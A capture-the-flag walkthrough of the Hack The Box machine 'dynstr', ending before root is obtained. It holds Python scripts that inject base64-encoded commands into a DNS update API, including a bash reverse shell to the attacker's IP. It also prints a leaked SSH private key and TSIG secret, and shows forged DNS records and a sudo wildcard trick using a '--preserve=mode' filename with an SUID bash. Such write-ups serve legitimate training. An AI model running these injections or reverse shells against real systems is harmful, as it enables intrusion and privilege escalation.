Hack-The-Box-walkthrough[dynstr]

introduce

OS: Linux
Difficulty: Medium
Points: 30
Release: 12 Jun 2021
IP: 10.10.10.244

  • my htb rank

Enumeration

Ports

Ports service version
22 SSH OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
53 DNS ISC BIND 9.16.1 (Ubuntu Linux)
80 HTTP Apache httpd 2.4.41

NMAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Nmap 7.91 scan initiated Sun Jun 13 04:53:49 2021 as: nmap -vvv -p 22,53,80 -A -v -oN intial.nmap 10.10.10.244
Nmap scan report for dynstr.htb (10.10.10.244)
Host is up, received syn-ack (0.16s latency).
Scanned at 2021-06-13 04:53:51 BST for 16s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 05:7c:5e:b1:83:f9:4f:ae:2f:08:e1:33:ff:f5:83:9e (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC//sbOTQwLRH4CGj3riDnnTvTCiJT1Uz7CyRSD2Tkh2wkT20rtAq13c5M1LC2kxki2bz9Ptxxx340Cc9tAcQaPZbmHndQe/H1bGiVZCKjOl2WqWQTV9fq6GGtflC94BkkLrmkWHzqg+S50g2Zg0iesPMkKAmwqwEVZx9npe1QuF3RQu5EYQXRYVOzpqQdU+jRD267gCvsKp9xmr7trZ1UzFxfBUOzSCWa3Adm2TTFwiA5jTb6x0lKVnQtgKghioMQeXXPuiTLCbI0XfbksoRI2OBAvTZf7RsIthKCiyCQRWjVh5Idr5Fh7GgwYaDgW662W3V3hCNEQRY8R9/fXWdVho1gWbm6NFt+NyRO/6F2XDvPseBYr+Yi6zwGEM+PpsTi5dfj8yYKRZ3HFXwjeBGjCPMRe9XPpCvvDnHAF18B1INVJPSwAIVll365V5D18JslQh7PpAWxO70TzmEC9E+UPXOrt29tZ0Zi/uApFRM700pdOhnvcs8q4RBWaUpp3ZB0=
| 256 3f:73:b4:95:72:ca:5e:33:f6:8a:8f:46:cf:43:35:b9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFtYzp8umMbm7o9+1LUTVio/dduowE/AsA3rO52A5Q/Cuct9GY6IZEvPE+/XpEiNCPMSl991kjHT+WaAunmTbT4=
| 256 cc:0a:41:b7:a1:9a:43:da:1b:68:f5:2a:f8:2a:75:2c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOz8b9MDlSPP5QJgSHy6fpG98bdKCgvqhuu07v5NFkdx
53/tcp open domain syn-ack ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.16.1-Ubuntu
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyna DNS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 13 04:54:07 2021 -- 1 IP address (1 host up) scanned in 18.86 seconds

DNS Enumeration

For this part I reffered to one of my favourite website for refference https://book.hacktricks.xyz/pentesting/pentesting-dns
Let’s get the banner for the DNS version

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root💀kali)-[~/hackthebox/machine/dynstr]
└─# dig version.bind CHAOS TXT @dyna.htb

; <<>> DiG 9.16.13-Debian <<>> version.bind CHAOS TXT @dyna.htb
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 61304
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 2c3040bb3d8e6c5b0100000060c6e3286e8c14a06e158e06 (good)
;; QUESTION SECTION:
;version.bind. CH TXT

;; ANSWER SECTION:
version.bind. 0 CH TXT "9.16.1-Ubuntu"

;; Query time: 332 msec
;; SERVER: 10.10.10.244#53(10.10.10.244)
;; WHEN: 一 6月 14 01:01:42 EDT 2021
;; MSG SIZE rcvd: 95

Looking at almost any record that is publicly available we find some subdomains

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(root💀kali)-[~/hackthebox/machine/dynstr]
└─# dig ANY @10.10.10.244 dyna.htb

; <<>> DiG 9.16.13-Debian <<>> ANY @10.10.10.244 dyna.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 43818
;; flags: qr aa rd; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 2
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 41dc2957b1ff99420100000060c6e373bcf7cb1343550555 (good)
;; QUESTION SECTION:
;dyna.htb. IN ANY

;; ANSWER SECTION:
dyna.htb. 60 IN SOA dns1.dyna.htb. hostmaster.dyna.htb. 2021030305 21600 3600 604800 60
dyna.htb. 60 IN NS dns1.dyna.htb.

;; ADDITIONAL SECTION:
dns1.dyna.htb. 60 IN A 127.0.0.1

;; Query time: 324 msec
;; SERVER: 10.10.10.244#53(10.10.10.244)
;; WHEN: 一 6月 14 01:02:57 EDT 2021
;; MSG SIZE rcvd: 147

let’s add those to /etc/hosts

1
sudo echo "10.10.10.244  dns1.dyna.htb hostmaster.dyna.htb" >> /etc/hosts

visiting the subdomains doesn’t do you any good. it’s the same website so let’s move on.

Web Enumeration

visiting the website we can see the potential dns name for the host.

At the very bottom of the page we can see there is the email to contact with the domain dyna.htb so let’s add it in /etc/hosts

1
sudo echo "10.10.10.244  dyna.htb" >> /etc/hosts 

let’s visit the page nothing changed.

Directory Fuzzing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(root💀kali)-[~/ffuf]
└─# ./ffuf -u http://dyna.htb/FUZZ -w /usr/share/wordlists/dirb/big.txt -t 200 -c -e .txt,.php,.html

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v1.1.0-git
________________________________________________

:: Method : GET
:: URL : http://dyna.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Extensions : .txt .php .html
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________

.htpasswd.html [Status: 403, Size: 273, Words: 20, Lines: 10]
.htpasswd.php [Status: 403, Size: 273, Words: 20, Lines: 10]
.htaccess [Status: 403, Size: 273, Words: 20, Lines: 10]
.htaccess.txt [Status: 403, Size: 273, Words: 20, Lines: 10]
.htaccess.html [Status: 403, Size: 273, Words: 20, Lines: 10]
.htaccess.php [Status: 403, Size: 273, Words: 20, Lines: 10]
.htpasswd [Status: 403, Size: 273, Words: 20, Lines: 10]
.htpasswd.txt [Status: 403, Size: 273, Words: 20, Lines: 10]
assets [Status: 301, Size: 305, Words: 20, Lines: 10]
index.html [Status: 200, Size: 10909, Words: 1937, Lines: 282]
nic [Status: 301, Size: 302, Words: 20, Lines: 10]
server-status [Status: 403, Size: 273, Words: 20, Lines: 10]
:: Progress: [81876/81876] :: Job [1/1] :: 388 req/sec :: Duration: [0:03:31] :: Errors: 104 ::

we have intresting nic directory.
Visiting that nic directory we can see just a blank page so let’s the and fuzz that directory again.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(root💀kali)-[~/ffuf]
└─# ./ffuf -u http://dyna.htb/nic/FUZZ -w /usr/share/wordlists/dirb/big.txt -t 200 -c

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v1.3.0 Kali Exclusive <3
________________________________________________

:: Method : GET
:: URL : http://dyna.htb/nic/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________

.htaccess [Status: 403, Size: 273, Words: 20, Lines: 10]
.htpasswd [Status: 403, Size: 273, Words: 20, Lines: 10]
update [Status: 200, Size: 8, Words: 1, Lines: 2]
:: Progress: [20469/20469] :: Job [1/1] :: 982 req/sec :: Duration: [0:00:38] :: Errors: 3 ::

We got the subdirectory update let’s check it.
Visiting the directory we got the bad auth as output.

From earlier we have creds for beta version of the website.

So let’s try to auth with HTTP basic authentication.
I wrote a simple python script for that

1
2
3
4
5
6
7
8
9
#!/usr/bin/python3

import requests
from requests.auth import HTTPBasicAuth

url = 'http://dyna.htb/nic/update'

res = requests.get(url, verify=False, auth=HTTPBasicAuth('dynadns', 'sndanyd'))
print (res.text)

Running the script we get the following output.

1
2
3
┌──(root💀kali)-[~/hackthebox/machine/dynstr]
└─# python3 script.py
nochg 10.10.14.10

at first I didn’t understand nochg in reponse so I google nochg and landed on the following article.

  • Return Codes (RA-API)

It looks like it’s an API for dynamic DNS and we are at the update portal.

Looking at the following article we can see how to perform updates.

  • Perform Update (RA-API)

looking at the example in article I knew that I have to pass two parameter atleast to perform update i.e the hostname and myip so let’s try it.

Again going back to website we know we have few dynamic dns running so let’s try and get it.

Updated python script to perform updates

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/python3

import requests
from requests.auth import HTTPBasicAuth

url = 'http://dyna.htb/nic/update'
params = {
'myip' : '10.10.14.10',
'hostname': 'test.no-ip.htb'
}

res = requests.get(url, verify=False, auth=HTTPBasicAuth('dynadns', 'sndanyd'), params=params)
print (res.text)

let’s send this request.

1
2
3
┌──(root💀kali)-[~/hackthebox/machine/dynstr]
└─# python3 script.py
good 10.10.14.10

we got the good response so we can perform update now let’s look at some parameters we can tamper.

Looking through the above perform update article I can see one intresting thing that the update will get distributed to all the linked device so if we can inject the hostname we can get the possible RCE and I thought about injecting IP but it’s is not possible as it will lead to validation problem as IP cannot have character so we can inject hostname and send payload as subdomain name but we cannot use special chars as it is not allowed as a domain name so we have base64 encode the payload and send the request.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python3

import requests
from requests.auth import HTTPBasicAuth
from base64 import b64encode

url = 'http://dyna.htb/nic/update'
payload = b'id'
final = b64encode(payload)
print (final)
params = {
'myip' : '10.10.14.10',
'hostname': '{}.no-ip.htb'.format(final)
}


res = requests.get(url, verify=False, auth=HTTPBasicAuth('dynadns', 'sndanyd'), params=params)
print (res.text)

let’s run the script.

1
2
3
4
┌──(root💀kali)-[~/hackthebox/machine/dynstr]
└─# python3 script.py
b'aWQ='
911 [nsupdate failed]
  • noip request

It said nsudate failed so we know that we cannot update ns record but going through documentation we have an option to push update offline.

so let’s try that.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python3

import requests
from requests.auth import HTTPBasicAuth
from base64 import b64encode

url = 'http://dyna.htb/nic/update'
payload = b'pwd'
final = b64encode(payload)
#print (final)
params = {
'myip' : '10.10.14.10',
'hostname': '`echo "{}" | base64 -d | bash`test.no-ip.htb'.format(str(final)),
'offline': 'YES'
}


res = requests.get(url, verify=False, auth=HTTPBasicAuth('dynadns', 'sndanyd'), params=params)
print (res.text)

we get the output

1
2
3
┌──(root💀kali)-[~/hackthebox/machine/dynstr]
└─# python3 script.py
good 10.10.14.10

Looks like it could to blind RCE so let’s try and ping your machine.
UPDATED script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python3

import requests
from requests.auth import HTTPBasicAuth
from base64 import b64encode

url = 'http://dyna.htb/nic/update'
payload = b'ping -c 4 10.10.14.10'
final = b64encode(payload)
print ('{}'.format(final.decode()))
params = {
'myip' : '10.10.14.10',
'hostname': '`echo "{}" | base64 -d | bash`"dynadns.no-ip.htb'.format(final.decode()),
'offline': 'YES'
}


res = requests.get(url, verify=False, auth=HTTPBasicAuth('dynadns', 'sndanyd'), params=params)
print (res.text)

Running the script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root💀kali)-[~/hackthebox/machine/dynstr]
└─# python3 script.py
cGluZyAtYyA0IDEwLjEwLjE0LjEw
server 127.0.0.1
zone no-ip.htb
update delete PING 10.10.14.10 (10.10.14.10) 56(84) bytes of data.
64 bytes from 10.10.14.10: icmp_seq=1 ttl=63 time=300 ms
64 bytes from 10.10.14.10: icmp_seq=2 ttl=63 time=299 ms
64 bytes from 10.10.14.10: icmp_seq=3 ttl=63 time=299 ms
64 bytes from 10.10.14.10: icmp_seq=4 ttl=63 time=298 ms

--- 10.10.14.10 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 297.622/298.907/300.286/0.946 msdynadns.no-ip.htb
good 10.10.14.10

Got the ping back

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(root💀kali)-[~/hackthebox/machine/dynstr]
└─# tcpdump -i tun0 -n icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
01:51:41.981360 IP 10.10.10.244 > 10.10.14.10: ICMP echo request, id 1, seq 1, length 64
01:51:41.981456 IP 10.10.14.10 > 10.10.10.244: ICMP echo reply, id 1, seq 1, length 64
01:51:42.980493 IP 10.10.10.244 > 10.10.14.10: ICMP echo request, id 1, seq 2, length 64
01:51:42.980513 IP 10.10.14.10 > 10.10.10.244: ICMP echo reply, id 1, seq 2, length 64
01:51:43.981906 IP 10.10.10.244 > 10.10.14.10: ICMP echo request, id 1, seq 3, length 64
01:51:43.981921 IP 10.10.14.10 > 10.10.10.244: ICMP echo reply, id 1, seq 3, length 64
01:51:44.982448 IP 10.10.10.244 > 10.10.14.10: ICMP echo request, id 1, seq 4, length 64
01:51:44.982463 IP 10.10.14.10 > 10.10.10.244: ICMP echo reply, id 1, seq 4, length 64
01:51:45.289182 IP 10.10.10.244 > 10.10.14.10: ICMP echo request, id 2, seq 1, length 64
01:51:45.289253 IP 10.10.14.10 > 10.10.10.244: ICMP echo reply, id 2, seq 1, length 64
01:51:46.289399 IP 10.10.10.244 > 10.10.14.10: ICMP echo request, id 2, seq 2, length 64
01:51:46.289414 IP 10.10.14.10 > 10.10.10.244: ICMP echo reply, id 2, seq 2, length 64
01:51:47.290146 IP 10.10.10.244 > 10.10.14.10: ICMP echo request, id 2, seq 3, length 64
01:51:47.290164 IP 10.10.14.10 > 10.10.10.244: ICMP echo reply, id 2, seq 3, length 64
01:51:48.291232 IP 10.10.10.244 > 10.10.14.10: ICMP echo request, id 2, seq 4, length 64
01:51:48.291246 IP 10.10.14.10 > 10.10.10.244: ICMP echo reply, id 2, seq 4, length 64

Exploitation

Let’s get the revshell back to our machine

Don’t forget to spin up listener on that port.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python3

import requests
from requests.auth import HTTPBasicAuth
from base64 import b64encode

url = 'http://dyna.htb/nic/update'
payload = b'bash -i >& /dev/tcp/10.10.14.10/1122 0>&1'
final = b64encode(payload)
print ('{}'.format(final.decode()))
params = {
'myip' : '10.10.14.10',
'hostname': '`echo "{}" | base64 -d | bash`"dynadns.no-ip.htb'.format(final.decode()),
'offline': 'YES'
}


res = requests.get(url, verify=False, auth=HTTPBasicAuth('dynadns', 'sndanyd'), params=params)
print (res.text)

on NC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root💀kali)-[~/hackthebox/machine/dynstr]
└─# rlwrap nc -nlvp 1122
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::1122
Ncat: Listening on 0.0.0.0:1122
Ncat: Connection from 10.10.10.244.
Ncat: Connection from 10.10.10.244:53898.
bash: cannot set terminal process group (745): Inappropriate ioctl for device
bash: no job control in this shell
id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
whoami
www-data
www-data@dynstr:/var/www/html/nic$

We have REV shell now let’s go onto user.

WWW-Data to bindmgr

Enumeration

1
2
3
4
5
6
ls -al /home
total 16
drwxr-xr-x 4 root root 4096 Mar 15 20:26 .
drwxr-xr-x 18 root root 4096 May 25 14:52 ..
drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 bindmgr
drwxr-xr-x 3 dyna dyna 4096 Mar 18 20:00 dyna

Looks like we have access to both of the users.
let’s check bindmgr

1
2
3
4
5
6
7
8
9
10
11
12
ls -al
total 36
drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 .
drwxr-xr-x 4 root root 4096 Mar 15 20:26 ..
lrwxrwxrwx 1 bindmgr bindmgr 9 Mar 15 20:29 .bash_history -> /dev/null
-rw-r--r-- 1 bindmgr bindmgr 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 bindmgr bindmgr 3771 Feb 25 2020 .bashrc
drwx------ 2 bindmgr bindmgr 4096 Mar 13 12:09 .cache
-rw-r--r-- 1 bindmgr bindmgr 807 Feb 25 2020 .profile
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 12:09 .ssh
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 14:53 support-case-C62796521
-r-------- 1 bindmgr bindmgr 33 Jun 13 00:03 user.txt

Looks like we have access .ssh so let’s look into it.

1
2
3
4
5
6
7
8
ls -al
total 24
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 12:09 .
drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 ..
-rw-r--r-- 1 bindmgr bindmgr 419 Mar 13 12:00 authorized_keys
-rw------- 1 bindmgr bindmgr 1823 Mar 13 11:48 id_rsa
-rw-r--r-- 1 bindmgr bindmgr 395 Mar 13 11:48 id_rsa.pub
-rw-r--r-- 1 bindmgr bindmgr 444 Mar 13 12:09 known_hosts

We can get the id_rsa.pub,known host and authorized_keys but not id_rsa that sucks.

Let’s check authorized_keys first.

1
2
cat authorized_keys
from="*.infra.dyna.htb" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4pkc7L5EaGz6CcwSCx1BqzuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7aXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WOD bindmgr@nomen

We can connect to bindmgr using his private key if we satisfy this DNS record condition *.infra.dyna.htb but can’t get into that until we have the id_rsa even if we pass the check.

Looking inside home directory we have access to another unsual and intresting directory support-case-C62796521.
Let’s look into it.

1
2
3
4
5
6
7
8
ls -al
total 436
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 14:53 .
drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 ..
-rw-r--r-- 1 bindmgr bindmgr 237141 Mar 13 14:53 C62796521-debugging.script
-rw-r--r-- 1 bindmgr bindmgr 29312 Mar 13 14:53 C62796521-debugging.timing
-rw-r--r-- 1 bindmgr bindmgr 1175 Mar 13 14:53 command-output-C62796521.txt
-rw-r--r-- 1 bindmgr bindmgr 163048 Mar 13 14:52 strace-C62796521.txt

let’s check all the files

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<-----SNIP------>
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1
42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3
HjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F
L6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn
UOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbX
CUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1Bqz
uSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7a
XQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38P
ZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk
+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs
4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVq
xTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUD
PswCKnA8AdyaxruDRuPY422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31k
obFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2l
u291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV7qkNPPPMPknIAVMQ3KHCJBM0XqtS
TbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6A
Tyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2vceuE
BNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMv
C79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyX
Wv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDt
U96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZ
b6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5
rlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG
jGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
<-----SNIP------>

We have the output key in strace file.
strace-C62796521.txt
So now we have the private key now we can start working on the DNS condition part for SSH login.

Exploitation

As we know that PTR records provides the domain name associated with an IP so we have to add PTR record that matches the above regex that is pointing to our IP.

First of all to edit the records for infra we have to get the key for infra so let’s get it by going to /etc/bind/infra.key

1
2
3
4
5
cat /etc/bind/infra.key
key "infra-key" {
algorithm hmac-sha256;
secret "7qHH/eYXorN2ZNUM1dpLie5BmVstOw55LgEeacJZsao=";
};

Now that we have the key we can bind out record into DNS so let’s try that.
First we have to load up the nslookup console and import the keyfile.

1
nsupdate -k /etc/bind/infra.key

Then let’s add the A record for our host

1
2
3
update add test.infra.dyna.htb 86400 A 10.10.14.5

update add 5.14.10.10.in-addr.arpa 300 PTR test.infra.dyna.htb

For eg- your ip is 10.10.14.127
Reverse ip is 127.14.10.10
It’s is important to leave a line after addition of the A record or else it will give you an update failed: NOTZONE error.
so after this let’s see what we are adding.

1
2
3
4
5
6
7
8
9
10
11
12
13
nsupdate -k /etc/bind/infra.key
update add oops.infra.dyna.htb 86400 A 10.10.14.5

update add 5.14.10.10.in-addr.arpa 86400 PTR oops.infra.dyna.htb
show
Outgoing update query:
;; ->>HEADER<<- opcode: UPDATE, status: NOERROR, id: 0
;; flags:; ZONE: 0, PREREQ: 0, UPDATE: 0, ADDITIONAL: 0
;; UPDATE SECTION:
5.14.10.10.in-addr.arpa. 86400 IN PTR oops.infra.dyna.htb.

send
quit

And then after that send it and quit.
now let’s copy the above RSA key in a id_rsa file and let’s SSH.

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root💀kali)-[~/hackthebox/machine/dynstr]
└─# chmod 700 id_rsa
┌──(root💀kali)-[~/hackthebox/machine/dynstr]
└─# ssh -i id_rsa bindmgr@dyna.htb
Last login: Sun Jun 13 19:22:54 2021 from test.infra.dyna.htb
bindmgr@dynstr:~$ id
uid=1001(bindmgr) gid=1001(bindmgr) groups=1001(bindmgr)
bindmgr@dynstr:~$ whoami
bindmgr
bindmgr@dynstr:~$ ls
id_rsa root.txt support-case-C62796521 user.txt
bindmgr@dynstr:~$ cat user.txt
32ce9c7cacb7d79e7ae424b0c42b6647

And we are bindmgr let’s get root now.

PrivESC

Enumeration

sudo -l

1
2
3
4
5
6
7
bindmgr@dynstr:/tmp$ sudo -l
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
Matching Defaults entries for bindmgr on dynstr:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User bindmgr may run the following commands on dynstr:
(ALL) NOPASSWD: /usr/local/bin/bindmgr.sh

Looks like we can run /usr/bin/local/bindmgr.sh as root so let’s look into script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/bash
# This script generates named.conf.bindmgr to workaround the problem
# that bind/named can only include single files but no directories.
#
# It creates a named.conf.bindmgr file in /etc/bind that can be included
# from named.conf.local (or others) and will include all files from the
# directory /etc/bin/named.bindmgr.
#
# NOTE: The script is work in progress. For now bind is not including
#named.conf.bindmgr.
#
# TODO: Currently the script is only adding files to the directory but
#not deleting them. As we generate the list of files to be included
#from the source directory they won't be included anyway.

BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr

indent() { sed 's/^/ /'; }

# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 42
fi
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then [0/598]
echo "[-] ERROR: Check versioning. Exiting."
exit 43
fi
# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF
for file in * ; do
printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done

# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/

# Check generated configuration with named-checkconf.
echo "[+] Checking staged configuration."
named-checkconf $BINDMGR_CONF >/dev/null
if [[ $? -ne 0 ]] ; then
echo "[-] ERROR: The generated configuration is not valid. Please fix following errors: "
named-checkconf $BINDMGR_CONF 2>&1 | indent
exit 44
else
echo "[+] Configuration successfully staged."
# *** TODO *** Uncomment restart once we are live.
# systemctl restart bind9
if [[ $? -ne 0 ]] ; then
echo "[-] Restart of bind9 via systemctl failed. Please check logfile: "
systemctl status bind9
else
echo "[+] Restart of bind9 via systemctl succeeded."
fi
fi

Looking at the script we can see that we need a .version file in the current directory with a version number so let’s create it.

1
bindmgr@dynstr:/dev/shm$ echo "2" > .version

we can see from the script that we can get the privilege on the binary in the same directory so let’s get /bin/bash to this directory.

1
bindmgr@dynstr:/dev/shm$ cp /bin/bash .

Now let’s give it a suid bit and preserve that mode on that binary so now when we will execute the script we will get root privileged binary in /etc/bind/named.bindmgr/

1
2
3
4
5
6
7
8
9
bindmgr@dynstr:/dev/shm$ chmod +s bash
bindmgr@dynstr:/dev/shm$ echo > --preserve=mode
bindmgr@dynstr:/dev/shm$ ls -la
total 1164
drwxrwxrwt 2 root root 100 Jun 14 08:41 .
drwxr-xr-x 17 root root 3940 Jun 12 21:02 ..
-rwsr-sr-x 1 bindmgr bindmgr 1183448 Jun 14 08:40 bash
-rw-rw-r-- 1 bindmgr bindmgr 1 Jun 14 08:41 '--preserve=mode'
